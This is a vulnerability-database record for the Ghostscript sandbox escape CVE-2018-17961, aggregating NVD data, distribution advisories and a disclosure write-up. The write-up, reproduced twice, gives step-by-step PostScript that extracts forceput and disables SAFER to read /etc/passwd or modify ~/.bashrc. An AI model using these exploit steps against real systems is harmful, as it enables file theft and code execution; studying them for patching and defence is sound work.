{"id": "CVE-2018-17961", "bulletinFamily": "NVD", "title": "CVE-2018-17961", "description": "Artifex Ghostscript 9.25 and earlier allows attackers to bypass a sandbox protection mechanism via vectors involving errorhandler setup. NOTE: this issue exists because of an incomplete fix for CVE-2018-17183.", "published": "2018-10-15T16:29:00", "modified": "2019-10-03T00:03:00", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-17961", "reporter": "cve@mitre.org", "references": ["https://www.debian.org/security/2018/dsa-4336", "http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a5a9bf8c6a63", "https://bugs.ghostscript.com/show_bug.cgi?id=699816", "https://lists.debian.org/debian-lts-announce/2018/10/msg00013.html", "https://www.exploit-db.com/exploits/45573/", "http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a6807394bd94", "http://www.openwall.com/lists/oss-security/2018/10/09/4", "https://usn.ubuntu.com/3803-1/", "http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a54c9e61e7d0", "https://bugs.chromium.org/p/project-zero/issues/detail?id=1682&desc=2", "https://access.redhat.com/errata/RHSA-2018:3834"], "cvelist": ["CVE-2018-17961"], "type": "cve", "lastseen": "2021-02-02T06:52:32", "edition": 9, "viewCount": 33, "enchantments": {"dependencies": {"references": [{"type": "zdt", "idList": ["1337DAY-ID-31286"]}, {"type": "exploitdb", "idList": ["EDB-ID:45573"]}, {"type": "archlinux", "idList": ["ASA-201811-3"]}, {"type": "debian", "idList": ["DEBIAN:DLA-1552-1:94487", "DEBIAN:DSA-4336-1:926B0"]}, {"type": "ubuntu", "idList": ["USN-3803-1"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562311220191004", "OPENVAS:1361412562310891552", "OPENVAS:1361412562310704336", "OPENVAS:1361412562310843801", "OPENVAS:1361412562310882987", "OPENVAS:1361412562310852190", "OPENVAS:1361412562311220191384", "OPENVAS:1361412562310814566", "OPENVAS:1361412562310814565", "OPENVAS:1361412562310852185"]}, {"type": "nessus", "idList": ["DEBIAN_DSA-4336.NASL", "UBUNTU_USN-3803-1.NASL", "CENTOS_RHSA-2018-3834.NASL", "SUSE_SU-2018-4087-1.NASL", "DEBIAN_DLA-1552.NASL", "FEDORA_2019-82ACB29C1B.NASL", "OPENSUSE-2018-1556.NASL", "SUSE_SU-2018-4090-1.NASL", "OPENSUSE-2018-1552.NASL", "OPENSUSE-2019-1007.NASL"]}, {"type": "suse", "idList": ["OPENSUSE-SU-2018:4138-1", "OPENSUSE-SU-2018:4140-1"]}, {"type": "redhat", "idList": ["RHSA-2018:3834"]}, {"type": "centos", "idList": ["CESA-2018:3834"]}, {"type": "oraclelinux", "idList": ["ELSA-2018-3834", "ELSA-2019-2281"]}, {"type": "fedora", "idList": ["FEDORA:126AB6056F14", "FEDORA:3B20860F60C5"]}, {"type": "amazon", "idList": ["ALAS2-2021-1598"]}], "modified": "2021-02-02T06:52:32", "rev": 2}, "score": {"value": 5.7, "vector": "NONE", "modified": "2021-02-02T06:52:32", "rev": 2}, "vulnersScore": 5.7}, "cpe": ["cpe:/o:redhat:enterprise_linux_server_tus:7.6", "cpe:/o:canonical:ubuntu_linux:18.04", "cpe:/o:debian:debian_linux:8.0", "cpe:/o:canonical:ubuntu_linux:18.10", "cpe:/o:canonical:ubuntu_linux:16.04", "cpe:/o:redhat:enterprise_linux_server:7.0", "cpe:/o:redhat:enterprise_linux_server_aus:7.6", "cpe:/o:redhat:enterprise_linux_workstation:7.0", "cpe:/o:redhat:enterprise_linux_desktop:7.0", "cpe:/o:redhat:enterprise_linux_server_eus:7.6", "cpe:/o:canonical:ubuntu_linux:14.04", "cpe:/o:debian:debian_linux:9.0"], "affectedSoftware": [{"cpeName": "artifex:ghostscript", "name": "artifex ghostscript", "operator": "lt", "version": "9.25"}, {"cpeName": "redhat:enterprise_linux_server_aus", "name": "redhat enterprise linux server aus", "operator": "eq", "version": "7.6"}, {"cpeName": "redhat:enterprise_linux_desktop", "name": "redhat enterprise linux desktop", "operator": "eq", "version": "7.0"}, {"cpeName": "debian:debian_linux", "name": "debian debian linux", "operator": "eq", "version": "8.0"}, {"cpeName": "canonical:ubuntu_linux", "name": "canonical ubuntu linux", "operator": "eq", "version": "16.04"}, {"cpeName": "canonical:ubuntu_linux", "name": "canonical ubuntu linux", "operator": "eq", "version": "14.04"}, {"cpeName": "canonical:ubuntu_linux", "name": "canonical ubuntu linux", "operator": "eq", "version": "18.04"}, {"cpeName": "redhat:enterprise_linux_workstation", "name": "redhat enterprise linux workstation", "operator": "eq", "version": "7.0"}, {"cpeName": "canonical:ubuntu_linux", "name": "canonical ubuntu linux", "operator": "eq", "version": "18.10"}, {"cpeName": "redhat:enterprise_linux_server_eus", "name": "redhat enterprise linux server eus", "operator": "eq", "version": "7.6"}, {"cpeName": "redhat:enterprise_linux_server_tus", "name": "redhat enterprise linux server tus", "operator": "eq", "version": "7.6"}, {"cpeName": "debian:debian_linux", "name": "debian debian linux", "operator": "eq", "version": "9.0"}, {"cpeName": "redhat:enterprise_linux_server", "name": "redhat enterprise linux server", "operator": "eq", "version": "7.0"}], "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": true}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 8.6, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 6.0}, "cpe23": ["cpe:2.3:o:redhat:enterprise_linux_server_aus:7.6:*:*:*:*:*:*:*", "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "cpe:2.3:o:debian:debian_linux:8.0:*:*:*:*:*:*:*", "cpe:2.3:o:canonical:ubuntu_linux:16.04:*:*:*:lts:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_desktop:7.0:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server:7.0:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server_tus:7.6:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_server_eus:7.6:*:*:*:*:*:*:*", "cpe:2.3:o:redhat:enterprise_linux_workstation:7.0:*:*:*:*:*:*:*", "cpe:2.3:o:canonical:ubuntu_linux:18.04:*:*:*:lts:*:*:*", "cpe:2.3:o:canonical:ubuntu_linux:18.10:*:*:*:*:*:*:*", "cpe:2.3:o:canonical:ubuntu_linux:14.04:*:*:*:lts:*:*:*"], "cwe": ["CWE-209"], "scheme": null, "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"cpe_match": [{"cpe23Uri": "cpe:2.3:o:canonical:ubuntu_linux:14.04:*:*:*:lts:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:canonical:ubuntu_linux:18.10:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:canonical:ubuntu_linux:16.04:*:*:*:lts:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:canonical:ubuntu_linux:18.04:*:*:*:lts:*:*:*", "vulnerable": true}], "operator": "OR"}, {"cpe_match": [{"cpe23Uri": "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:debian:debian_linux:8.0:*:*:*:*:*:*:*", "vulnerable": true}], "operator": "OR"}, {"cpe_match": [{"cpe23Uri": "cpe:2.3:o:redhat:enterprise_linux_workstation:7.0:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:redhat:enterprise_linux_server_tus:7.6:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:redhat:enterprise_linux_server_aus:7.6:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:redhat:enterprise_linux_desktop:7.0:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:redhat:enterprise_linux_server_eus:7.6:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:redhat:enterprise_linux_server:7.0:*:*:*:*:*:*:*", "vulnerable": true}], "operator": "OR"}, {"cpe_match": [{"cpe23Uri": "cpe:2.3:a:artifex:ghostscript:9.25:*:*:*:*:*:*:*", "versionEndExcluding": "9.25", "vulnerable": true}], "operator": "OR"}]}, "extraReferences": [{"name": "http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a6807394bd94", "refsource": "CONFIRM", "tags": ["Patch", "Third Party Advisory"], "url": "http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a6807394bd94"}, {"name": "https://bugs.chromium.org/p/project-zero/issues/detail?id=1682&desc=2", "refsource": "MISC", "tags": ["Patch", "Third Party Advisory"], "url": "https://bugs.chromium.org/p/project-zero/issues/detail?id=1682&desc=2"}, {"name": "USN-3803-1", "refsource": "UBUNTU", "tags": ["Third Party Advisory"], "url": "https://usn.ubuntu.com/3803-1/"}, {"name": "http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a54c9e61e7d0", "refsource": "CONFIRM", "tags": ["Patch", "Third Party Advisory"], "url": "http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a54c9e61e7d0"}, {"name": "https://bugs.ghostscript.com/show_bug.cgi?id=699816", "refsource": "CONFIRM", "tags": ["Third Party Advisory", "Permissions Required"], "url": "https://bugs.ghostscript.com/show_bug.cgi?id=699816"}, {"name": "http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a5a9bf8c6a63", "refsource": "CONFIRM", "tags": ["Patch", "Third Party Advisory"], "url": "http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a5a9bf8c6a63"}, {"name": "45573", "refsource": "EXPLOIT-DB", "tags": ["Third Party Advisory", "Exploit", "VDB Entry"], "url": "https://www.exploit-db.com/exploits/45573/"}, {"name": "[oss-security] 20181009 ghostscript: bypassing executeonly to escape -dSAFER sandbox (CVE-2018-17961)", "refsource": "MLIST", "tags": ["Third Party Advisory", "Mailing List", "Exploit"], "url": "http://www.openwall.com/lists/oss-security/2018/10/09/4"}, {"name": "[debian-lts-announce] 20181022 [SECURITY] [DLA 1552-1] ghostscript security update", "refsource": "MLIST", "tags": ["Third Party Advisory", "Mailing List"], "url": "https://lists.debian.org/debian-lts-announce/2018/10/msg00013.html"}, {"name": "RHSA-2018:3834", "refsource": "REDHAT", "tags": ["Third Party Advisory"], "url": "https://access.redhat.com/errata/RHSA-2018:3834"}, {"name": "DSA-4336", "refsource": "DEBIAN", "tags": ["Third Party Advisory"], "url": "https://www.debian.org/security/2018/dsa-4336"}]}

{"exploitdb": [{"lastseen": "2018-10-09T20:29:50", "description": "ghostscript - executeonly Bypass with errorhandler Setup. CVE-2018-17961. Local exploit for Linux platform. Tags: Local", "published": "2018-10-09T00:00:00", "type": "exploitdb", "title": "ghostscript - executeonly Bypass with errorhandler Setup", "bulletinFamily": "exploit", "cvelist": ["CVE-2018-17961"], "modified": "2018-10-09T00:00:00", "id": "EDB-ID:45573", "href": "https://www.exploit-db.com/exploits/45573/", "sourceData": "While documenting bug 1675, I noticed another problem with errordict in ghostscript. Full working exploit that works in the last few versions is attached, viewing it in evince, imagemagick, gimp, okular, etc should add a line to ~/.bashrc. Additionally, because nautilus will automatically invoke evince-thumbnailer without any user-interaction, just browsing a website is enough to trigger the vulnerability.\r\n\r\ntaviso@ubuntu:~$ convert exploit.jpg output.jpg\r\ntaviso@ubuntu:~$ tail -1 ~/.bashrc\r\necho pwned by postscript\r\n\r\nGood news: If your distro ships gnome-desktop 3.25.90 or later and wasn't bananas enough to disable sandboxing (yes, some are really doing that, see bug 1643 ), I don't know of any way to trigger automatic exploitation. If you open the file manually, you're still in trouble though.\r\n\r\nOne of the core access control features in postscript is the ability to mark procedures executeonly, this prevents users from peeking inside system routines and getting references to powerful operators they shouldn't have access to. I have a full description of how the executeonly mechanism works in bug 1675.\r\n\r\nUntil recently you could install an error handler in errordict and if you cause an executeonly procedure to stop (\"stop\" is the postscript term for \"throw an exception\"), that would expose the faulting operator to the error handler. That is no longer possible, because errordict is ignored in the -dSAFER sandbox.\r\n\r\nUnfortunately, the fix was incomplete, because you could still make the invocation of the errorhandler itself stop by filling up the stack with junk and making it /stackoverflow.\r\n\r\nOne way to exploit this is to find an executeonly procedure that can stop in two different ways, you trigger the first exception and then you make calling the errorhandler stop (/stackoverflow or /execoverflow will do). When that fails the operand stack is left in an inconsistent state, because ghostscript was trying to set up the errorhandler but failed. \r\n\r\nHere is how to exploit it:\r\n\r\n% first, fill up the stack with junk so there is only a tiny bit of room for the errorhandler\r\nGS>0 1 300368 {} for\r\n\r\n% We can make /switch_to_normal_marking_ops fail by making pdfopdict a non-dictionary\r\nGS<300369>/pdfopdict null def\r\n\r\n% call /switch_to_normal_marking_ops (which is executeonly)\r\nGS<300369>GS_PDF_ProcSet /switch_to_normal_marking_ops get stopped\r\n\r\n% that failed because of /typecheck writing to pdfopdict\r\nGS<2>==\r\ntrue\r\n\r\n% And if we look at the last few elements of the saved stack...\r\nGS<1>dup dup length 10 sub 10 getinterval ==\r\n[300364 300365 300366 300367 300368 null /m {normal_m} --.forceput-- /typecheck]\r\n\r\n% The failed operator is on there ready to be passed to the errorhandler.\r\n\r\nforceput is a very powerful operator that ignores all access controls, we can extract it from the stack, and then do whatever we like.\r\n\r\n% Lets disable SAFER and give ourselves access to the whole filesystem (including .bashrc, ssh keys, chrome cookies, everything)\r\nsystemdict /SAFER false forceput\r\nsystemdict /userparams get /PermitFileControl [(*)] forceput\r\nsystemdict /userparams get /PermitFileWriting [(*)] forceput\r\nsystemdict /userparams get /PermitFileReading [(*)] forceput\r\n\r\nPutting it all together, here is reading /etc/passwd just to demo:\r\n\r\n$ ./gs -dSAFER -f test.ps \r\nGPL Ghostscript GIT PRERELEASE 9.26 (2018-09-13)\r\nCopyright (C) 2018 Artifex Software, Inc. All rights reserved.\r\nThis software comes with NO WARRANTY: see the file PUBLIC for details.\r\n(root:x:0:0:root:/root:/bin/bash)\r\n\r\n\r\nProof of Concept:\r\nhttps://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45573.zip", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://www.exploit-db.com/download/45573/"}], "zdt": [{"lastseen": "2018-10-11T16:51:19", "description": "Exploit for linux platform in category local exploits", "edition": 1, "published": "2018-10-10T00:00:00", "title": "ghostscript - executeonly Bypass with errorhandler Setup Exploit", "type": "zdt", "bulletinFamily": "exploit", "cvelist": ["CVE-2018-17961"], "modified": "2018-10-10T00:00:00", "id": "1337DAY-ID-31286", "href": "https://0day.today/exploit/description/31286", "sourceData": "While documenting bug 1675, I noticed another problem with errordict in ghostscript. Full working exploit that works in the last few versions is attached, viewing it in evince, imagemagick, gimp, okular, etc should add a line to ~/.bashrc. Additionally, because nautilus will automatically invoke evince-thumbnailer without any user-interaction, just browsing a website is enough to trigger the vulnerability.\r\n \r\n[email\u00a0protected]:~$ convert exploit.jpg output.jpg\r\n[email\u00a0protected]:~$ tail -1 ~/.bashrc\r\necho pwned by postscript\r\n \r\nGood news: If your distro ships gnome-desktop 3.25.90 or later and wasn't bananas enough to disable sandboxing (yes, some are really doing that, see bug 1643 ), I don't know of any way to trigger automatic exploitation. If you open the file manually, you're still in trouble though.\r\n \r\nOne of the core access control features in postscript is the ability to mark procedures executeonly, this prevents users from peeking inside system routines and getting references to powerful operators they shouldn't have access to. I have a full description of how the executeonly mechanism works in bug 1675.\r\n \r\nUntil recently you could install an error handler in errordict and if you cause an executeonly procedure to stop (\"stop\" is the postscript term for \"throw an exception\"), that would expose the faulting operator to the error handler. That is no longer possible, because errordict is ignored in the -dSAFER sandbox.\r\n \r\nUnfortunately, the fix was incomplete, because you could still make the invocation of the errorhandler itself stop by filling up the stack with junk and making it /stackoverflow.\r\n \r\nOne way to exploit this is to find an executeonly procedure that can stop in two different ways, you trigger the first exception and then you make calling the errorhandler stop (/stackoverflow or /execoverflow will do). When that fails the operand stack is left in an inconsistent state, because ghostscript was trying to set up the errorhandler but failed. \r\n \r\nHere is how to exploit it:\r\n \r\n% first, fill up the stack with junk so there is only a tiny bit of room for the errorhandler\r\nGS>0 1 300368 {} for\r\n \r\n% We can make /switch_to_normal_marking_ops fail by making pdfopdict a non-dictionary\r\nGS<300369>/pdfopdict null def\r\n \r\n% call /switch_to_normal_marking_ops (which is executeonly)\r\nGS<300369>GS_PDF_ProcSet /switch_to_normal_marking_ops get stopped\r\n \r\n% that failed because of /typecheck writing to pdfopdict\r\nGS<2>==\r\ntrue\r\n \r\n% And if we look at the last few elements of the saved stack...\r\nGS<1>dup dup length 10 sub 10 getinterval ==\r\n[300364 300365 300366 300367 300368 null /m {normal_m} --.forceput-- /typecheck]\r\n \r\n% The failed operator is on there ready to be passed to the errorhandler.\r\n \r\nforceput is a very powerful operator that ignores all access controls, we can extract it from the stack, and then do whatever we like.\r\n \r\n% Lets disable SAFER and give ourselves access to the whole filesystem (including .bashrc, ssh keys, chrome cookies, everything)\r\nsystemdict /SAFER false forceput\r\nsystemdict /userparams get /PermitFileControl [(*)] forceput\r\nsystemdict /userparams get /PermitFileWriting [(*)] forceput\r\nsystemdict /userparams get /PermitFileReading [(*)] forceput\r\n \r\nPutting it all together, here is reading /etc/passwd just to demo:\r\n \r\n$ ./gs -dSAFER -f test.ps \r\nGPL Ghostscript GIT PRERELEASE 9.26 (2018-09-13)\r\nCopyright (C) 2018 Artifex Software, Inc. All rights reserved.\r\nThis software comes with NO WARRANTY: see the file PUBLIC for details.\r\n(root:x:0:0:root:/root:/bin/bash)\r\n \r\n \r\nProof of Concept:\r\nhttps://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45573.zip\n\n# 0day.today [2018-10-11] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/31286"}], "archlinux": [{"lastseen": "2020-09-22T18:36:41", "bulletinFamily": "unix", "cvelist": ["CVE-2018-17961", "CVE-2018-18073", "CVE-2018-18284"], "description": "Arch Linux Security Advisory ASA-201811-3\n=========================================\n\nSeverity: High\nDate : 2018-11-06\nCVE-ID : CVE-2018-17961 CVE-2018-18073 CVE-2018-18284\nPackage : ghostscript\nType : sandbox escape\nRemote : Yes\nLink : https://security.archlinux.org/AVG-786\n\nSummary\n=======\n\nThe package ghostscript before version 9.25-4 is vulnerable to sandbox\nescape.\n\nResolution\n==========\n\nUpgrade to 9.25-4.\n\n# pacman -Syu \"ghostscript>=9.25-4\"\n\nThe problems have been fixed upstream but no release is available yet.\n\nWorkaround\n==========\n\nNone.\n\nDescription\n===========\n\n- CVE-2018-17961 (sandbox escape)\n\nArtifex Ghostscript 9.25 and earlier allows attackers to bypass a\nsandbox protection mechanism via vectors involving errorhandler setup.\n\n- CVE-2018-18073 (sandbox escape)\n\nArtifex Ghostscript allows attackers to bypass a sandbox protection\nmechanism by leveraging exposure of system operators in the saved\nexecution stack in an error object.\n\n- CVE-2018-18284 (sandbox escape)\n\nArtifex Ghostscript 9.25 and earlier allows attackers to bypass a\nsandbox protection mechanism via vectors involving the 1Policy\noperator.\n\nImpact\n======\n\nA remote attacker is able to escape the sandbox via a specially crafted\nPostScript document.\n\nReferences\n==========\n\nhttps://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a54c9e61e7d02bbc620bcba9b1c208462a876afb\nhttps://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a5a9bf8c6a63aa4ac6874234fe8cd63e72077291\nhttps://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a6807394bd94b708be24758287b606154daaaed9\nhttps://www.openwall.com/lists/oss-security/2018/10/09/4\nhttps://bugs.chromium.org/p/project-zero/issues/detail?id=1682&desc=2\nhttps://bugs.ghostscript.com/show_bug.cgi?id=699816\nhttps://lists.debian.org/debian-lts-announce/2018/10/msg00013.html\nhttps://www.exploit-db.com/exploits/45573/\nhttps://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=34cc326eb2c5695833361887fe0b32e8d987741c\nhttp://packetstormsecurity.com/files/149758/Ghostscript-Exposed-System-Operators.html\nhttp://www.openwall.com/lists/oss-security/2018/10/10/12\nhttps://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=8d19fdf63f91f50466b08f23e2d93d37a4c5ea0b\nhttps://www.openwall.com/lists/oss-security/2018/10/16/2\nhttps://bugs.chromium.org/p/project-zero/issues/detail?id=1696\nhttps://bugs.ghostscript.com/show_bug.cgi?id=699963\nhttps://security.archlinux.org/CVE-2018-17961\nhttps://security.archlinux.org/CVE-2018-18073\nhttps://security.archlinux.org/CVE-2018-18284", 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CVE-2018-19475: Fixed bypass of an intended access restriction in\n psi/zdevice2.c (bsc#1117327)\n - CVE-2018-19476: Fixed bypass of an intended access restriction in\n psi/zicc.c (bsc#1117313)\n - CVE-2018-19477: Fixed bypass of an intended access restriction in\n psi/zfjbig2.c (bsc#1117274)\n - CVE-2018-19409: Check if another device is used correctly in\n LockSafetyParams (bsc#1117022)\n - CVE-2018-18284: Fixed potential sandbox escape through 1Policy operator\n (bsc#1112229)\n - CVE-2018-18073: Fixed leaks through operator in saved execution stacks\n (bsc#1111480)\n - CVE-2018-17961: Fixed a -dSAFER sandbox escape by bypassing executeonly\n (bsc#1111479)\n - CVE-2018-17183: Fixed a potential code injection by specially crafted\n PostScript files (bsc#1109105)\n\n Version update to 9.26 (bsc#1117331):\n\n - Security issues have been the primary focus\n - Minor bug fixes and improvements\n - For release summary see: <a rel=\"nofollow\" href=\"http://www.ghostscript.com/doc/9.26/News.htm\">http://www.ghostscript.com/doc/9.26/News.htm</a>\n\n This update was imported from the SUSE:SLE-15:Update update project.\n\n", "edition": 1, "modified": "2018-12-15T12:10:58", "published": "2018-12-15T12:10:58", "id": "OPENSUSE-SU-2018:4138-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2018-12/msg00037.html", "title": "Security update for ghostscript (important)", "type": "suse", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2018-12-15T15:38:36", "bulletinFamily": "unix", "cvelist": ["CVE-2018-17961", "CVE-2018-18073", "CVE-2018-17183", "CVE-2018-19476", "CVE-2018-18284", "CVE-2018-19477", "CVE-2018-19475", "CVE-2018-19409"], "description": "This update for ghostscript to version 9.26 fixes the following issues:\n\n Security issues fixed:\n\n - CVE-2018-19475: Fixed bypass of an intended access restriction in\n psi/zdevice2.c (bsc#1117327)\n - CVE-2018-19476: Fixed bypass of an intended access restriction in\n psi/zicc.c (bsc#1117313)\n - CVE-2018-19477: Fixed bypass of an intended access restriction in\n psi/zfjbig2.c (bsc#1117274)\n - CVE-2018-19409: Check if another device is used correctly in\n LockSafetyParams (bsc#1117022)\n - CVE-2018-18284: Fixed potential sandbox escape through 1Policy operator\n (bsc#1112229)\n - CVE-2018-18073: Fixed leaks through operator in saved execution stacks\n (bsc#1111480)\n - CVE-2018-17961: Fixed a -dSAFER sandbox escape by bypassing executeonly\n (bsc#1111479)\n - CVE-2018-17183: Fixed a potential code injection by specially crafted\n PostScript files (bsc#1109105)\n\n Version update to 9.26 (bsc#1117331):\n\n - Security issues have been the primary focus\n - Minor bug fixes and improvements\n - For release summary see: <a rel=\"nofollow\" href=\"http://www.ghostscript.com/doc/9.26/News.htm\">http://www.ghostscript.com/doc/9.26/News.htm</a>\n\n This update was imported from the SUSE:SLE-12:Update update project.\n\n", "edition": 1, "modified": "2018-12-15T12:14:29", "published": "2018-12-15T12:14:29", "id": "OPENSUSE-SU-2018:4140-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2018-12/msg00038.html", "title": "Security update for ghostscript (important)", "type": "suse", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "centos": [{"lastseen": "2020-12-08T03:35:44", "bulletinFamily": "unix", "cvelist": ["CVE-2018-17961", "CVE-2018-18073", "CVE-2018-17183", "CVE-2018-18284", "CVE-2018-15911", "CVE-2018-19134", "CVE-2018-16802", "CVE-2018-16541", "CVE-2018-19409"], "description": "**CentOS Errata and Security Advisory** CESA-2018:3834\n\n\nThe Ghostscript suite contains utilities for rendering PostScript and PDF documents. Ghostscript translates PostScript code to common bitmap formats so that the code can be displayed or printed.\n\nSecurity Fix(es):\n\n* ghostscript: Incorrect free logic in pagedevice replacement (699664) (CVE-2018-16541)\n\n* ghostscript: Incorrect \"restoration of privilege\" checking when running out of stack during exception handling (CVE-2018-16802)\n\n* ghostscript: User-writable error exception table (CVE-2018-17183)\n\n* ghostscript: Saved execution stacks can leak operator arrays (incomplete fix for CVE-2018-17183) (CVE-2018-17961)\n\n* ghostscript: Saved execution stacks can leak operator arrays (CVE-2018-18073)\n\n* ghostscript: 1Policy operator allows a sandbox protection bypass (CVE-2018-18284)\n\n* ghostscript: Type confusion in setpattern (700141) (CVE-2018-19134)\n\n* ghostscript: Improperly implemented security check in zsetdevice function in psi/zdevice.c (CVE-2018-19409)\n\n* ghostscript: Uninitialized memory access in the aesdecode operator (699665) (CVE-2018-15911)\n\nFor more details about the security issue(s), including the impact, a CVSS score, and other related information, refer to the CVE page(s) listed in the References section.\n\nRed Hat would like to thank Tavis Ormandy (Google Project Zero) for reporting CVE-2018-16541.\n\nBug Fix(es):\n\n* It has been found that ghostscript-9.07-31.el7_6.1 introduced regression during the handling of shading objects, causing a \"Dropping incorrect smooth shading object\" warning. With this update, the regression has been fixed and the described problem no longer occurs. (BZ#1657822)\n\n**Merged security bulletin from advisories:**\nhttp://lists.centos.org/pipermail/centos-announce/2018-December/035172.html\n\n**Affected packages:**\nghostscript\nghostscript-cups\nghostscript-devel\nghostscript-doc\nghostscript-gtk\n\n**Upstream details at:**\n", "edition": 4, "modified": "2018-12-19T03:22:11", "published": "2018-12-19T03:22:11", "id": "CESA-2018:3834", "href": "http://lists.centos.org/pipermail/centos-announce/2018-December/035172.html", "title": "ghostscript security update", "type": "centos", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "redhat": [{"lastseen": "2019-08-13T18:44:53", "bulletinFamily": "unix", "cvelist": ["CVE-2018-15911", "CVE-2018-16541", "CVE-2018-16802", "CVE-2018-17183", "CVE-2018-17961", "CVE-2018-18073", "CVE-2018-18284", "CVE-2018-19134", "CVE-2018-19409"], "description": "The Ghostscript suite contains utilities for rendering PostScript and PDF documents. Ghostscript translates PostScript code to common bitmap formats so that the code can be displayed or printed.\n\nSecurity Fix(es):\n\n* ghostscript: Incorrect free logic in pagedevice replacement (699664) (CVE-2018-16541)\n\n* ghostscript: Incorrect \"restoration of privilege\" checking when running out of stack during exception handling (CVE-2018-16802)\n\n* ghostscript: User-writable error exception table (CVE-2018-17183)\n\n* ghostscript: Saved execution stacks can leak operator arrays (incomplete fix for CVE-2018-17183) (CVE-2018-17961)\n\n* ghostscript: Saved execution stacks can leak operator arrays (CVE-2018-18073)\n\n* ghostscript: 1Policy operator allows a sandbox protection bypass (CVE-2018-18284)\n\n* ghostscript: Type confusion in setpattern (700141) (CVE-2018-19134)\n\n* ghostscript: Improperly implemented security check in zsetdevice function in psi/zdevice.c (CVE-2018-19409)\n\n* ghostscript: Uninitialized memory access in the aesdecode operator (699665) (CVE-2018-15911)\n\nFor more details about the security issue(s), including the impact, a CVSS score, and other related information, refer to the CVE page(s) listed in the References section.\n\nRed Hat would like to thank Tavis Ormandy (Google Project Zero) for reporting CVE-2018-16541.\n\nBug Fix(es):\n\n* It has been found that ghostscript-9.07-31.el7_6.1 introduced regression during the handling of shading objects, causing a \"Dropping incorrect smooth shading object\" warning. With this update, the regression has been fixed and the described problem no longer occurs. (BZ#1657822)", "modified": "2018-12-17T23:51:46", "published": "2018-12-17T23:48:48", "id": "RHSA-2018:3834", "href": "https://access.redhat.com/errata/RHSA-2018:3834", "type": "redhat", "title": "(RHSA-2018:3834) Important: ghostscript security and bug fix update", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "oraclelinux": [{"lastseen": "2019-05-29T18:36:17", "bulletinFamily": "unix", "cvelist": ["CVE-2018-17961", "CVE-2018-18073", "CVE-2018-17183", "CVE-2018-18284", "CVE-2018-15911", "CVE-2018-19134", "CVE-2018-16802", "CVE-2018-16541", "CVE-2018-19409"], "description": "[9.07-31.el7_6.6]\n- Resolves: #1657822 - ghostscript: Regression: Warning: Dropping incorrect\n smooth shading object (Error: /rangecheck in --run--)\n[9.07-31.el7_6.5]\n- Resolves: #1654621 - CVE-2018-16541 ghostscript: incorrect free logic in\n pagedevice replacement (699664)\n- Resolves: #1650210 - CVE-2018-17183 ghostscript: User-writable error\n exception table\n- Resolves: #1645516 - 